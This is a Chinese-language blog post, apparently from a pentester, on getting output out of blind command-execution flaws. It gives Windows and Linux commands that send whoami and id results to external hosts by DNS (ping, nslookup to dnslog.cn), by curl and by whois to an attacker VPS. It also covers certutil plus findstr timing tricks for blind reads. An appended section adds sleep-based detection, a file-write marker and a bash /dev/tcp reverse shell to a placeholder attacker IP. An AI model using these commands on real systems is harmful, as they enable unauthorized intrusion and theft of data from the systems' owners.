命令执行无回显的一些姿势

前言

最近演练遇到了拿shell后,由于是延时注入,让我极其难受。于是,学习了一下命令执行无回显的一些姿势

windows环境

1.ping %USERNAME%.2plmqc.dnslog.cn

这里的%username%为用户变量

图片

附上windows常用变量:

%APPDATA% :  列出应用程序数据的默认存放位置。

%CD% :  列出当前目录。

%CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。

%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。

%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。

%CommonProgramFiles% :  列出了常用文件的文件夹路径。

%COMPUTERNAME% :  列出了计算机名。 

%COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。

%DATE% :  列出当前日期。

%ERRORLEVEL% :  列出了最近使用的命令的错误代码。

%HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。

%HOMEPATH% :  列出用户主目录的完整路径。

%HOMESHARE% :  列出用户共享主目录的网络路径。

%LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。

%NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。

%OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)

%Path% :  列出了可执行文件的搜索路径。

%PATHEXT% :  列出操作系统认为可被执行的文件扩展名。 

%PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。

%PROCESSOR_IDENTFIER% :  列出了处理器的描述。

%PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。 

%PROCESSOR_REVISION% :  列出了处理器的修订号。

%ProgramFiles% :  列出了Program Files文件夹的路径。

%PROMPT% :  列出了当前命令解释器的命令提示设置。

%RANDOM% :  列出界于0 和 32767之间的随机十进制数。

%SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。

%SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。

%SYSTEMROOT% :  列出了Windows启动目录的位置。

%TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。

%TIME% :  列出当前时间。

%USERDOMAIN% :  列出了包含用户帐号的域的名字。

%USERNAME% :  列出当前登录的用户的名字。

%USERPROFILE% :  列出当前用户Profile文件位置。

%WINDIR% :  列出操作系统目录的位置。 

[/size][/align][align=left][size=3]变量 类型 描述 

%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 

%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 

%CD% 本地 返回当前目录字符串。 

%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 

%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 

%COMPUTERNAME%  系统 返回计算机的名称。 

%COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。 

%DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 

%ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。 

%HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。 

%NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。 

%OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 

%PATH% 系统 指定可执行文件的搜索路径。 

%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 

%PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 

%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 

%PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。 

%PROCESSOR_REVISION% 系统 返回处理器的版本号。 

%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 

%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 

%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 

%SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。 

%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 

%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 

%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 

%USERNAME% 本地 返回当前登录的用户的名称。 

%USERPROFILE% 本地 返回当前用户的配置文件的位置。 

%WINDIR% 系统 返回操作系统目录的位置。

%allusersprofile%--------------------所有用户的profile路径

%Userprofile%-----------------------当前用户的配置文件目录

%Appdata%--------------------------当前用户的应用程序路径

%commonprogramfiles%-------------应用程序公用的文件路径

%homedrive%------------------------当前用户的主盘

%Homepath%------------------------当前用户的主目录

%programfiles%----------------------应用程序的默认安装目录

%systemdrive%----------------------系统所在的盘符

%systemroot%-----------------------系统所在的目录

%windir%----------------------------同上,总是跟systemroot一样

%tmp%------------------------------当前用户的临时目录

原文链接:https://blog.csdn.net/qq_17204441/article/details/89063104

2. for /F "delims=\" %i in ('whoami') do ping -n 1 %i.2plmqc.dnslog.cn

这里的可操作性比第一个多了许多

图片

3.curl(win10或winserver2016以上自带curl)

for /F "delims=\" %i in ('whoami') do curl http://www.c6h5no2-sec.top/test/%i

图片

4.如果知道网站绝对路径,直接写个一句话不香吗?

5.如果不出网,也无web服务的情况下,读也不是不可以

whoami > test1234.txt & certutil -encode test1234.txt testencode.txt

将whoami的结果base64编码以后写入testencode.txt

图片

读testencode.txt,利用findstr的去正则,如果符合就会ping自己,这样就会造成延时。

type testencode.txt || findstr "^-----BEGIN\ CERTIFICATE-----\ ZG" && ping 0.0.0.0

要注意,出现换行空格啥的用\空格来进行替换,建议真遇到这种致命的环境,写脚本爆破吧

(好巧不巧,这次的一个目标就这样子.截图为dvwa环境),执行成功就会延时,如图

图片

执行不成功的时间

图片

Linux环境

linux环境下感觉就比较舒服了

1.ping `whoami`.lkq1iu.dnslog.cn

图片

2.curl http://www.c6h5no2-sec.com/test/`whoami`

图片

3.whois -h vps:port `whoami`

vps 开nc监听

图片

4.将命令结果写入文件,延时去读

cat test.txt | grep "^r" && sleep 4

 

SQL中的DNS外带,懒得写了,这个师傅写的蛮好的

https://www.anquanke.com/post/id/98096

### 命令执行漏洞无回显的解决方案 当面对命令执行漏洞而没有回显的情况时,可以通过间接方式验证漏洞是否存在以及进一步利用它。以下是几种常见技术: #### 1. **时间延迟法** 通过注入特定命令使目标服务器产生可观察的时间延迟来判断命令是否成功执行。例如,在 Linux 系统上可以使用 `sleep` 命令[^1]。 ```bash ?cmd=sleep+5 ``` 如果请求响应被延迟约 5 秒,则表明命令已成功执行。 #### 2. **DNS 查询外带数据** 构建一个 DNS 请求到攻击者控制的域名,从而实现外部通信。这种方法适用于网络受限环境中无法直接返回 HTTP 数据的情形[^3]。 假设有一个可控域名为 `test.example.com` ,可以在 PHP 脚本中尝试如下操作: ```php <?php system('nslookup $(id) test.example.com'); ?> ``` 这会触发一次基于当前用户 ID 的 DNS 查找记录至指定地址。 #### 3. **文件写入与读取** 某些情况下允许向磁盘存储临时文件或者修改现有配置文件的内容。尽管这些动作本身不会立即反馈给客户端,但后续访问受影响资源可能暴露更改痕迹[^4]。 比如让服务端生成一个新的文本文件 `/tmp/marker.txt` 并填充固定字符串作为标志位: ```bash ?cmd=echo+"pwned">/tmp/marker.txt ``` 稍后再检查此路径下是否有预期标记存在即可确认效果。 #### 4. **反弹 Shell 或其他连接建立机制** 对于更高级别的交互需求来说,设置反向 shell 是一种可行的选择。这种方式需要确保防火墙规则允许来自受害主机主动发起的数据流传输方向逆转[^2]。 下面给出一段简单的 bash 版本示例代码用于演示目的(实际部署前需调整 IP 和端口号): ```bash ?cmd=bash+-i+>/dev/tcp/<attacker_ip>/<port>+0<&1+ ``` 以上策略均能在不同程度满足检测和利用无回显命令执行缺陷的需求,具体选用哪项取决于场景特点和个人偏好等因素综合考量之后决定最佳实践方案. ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值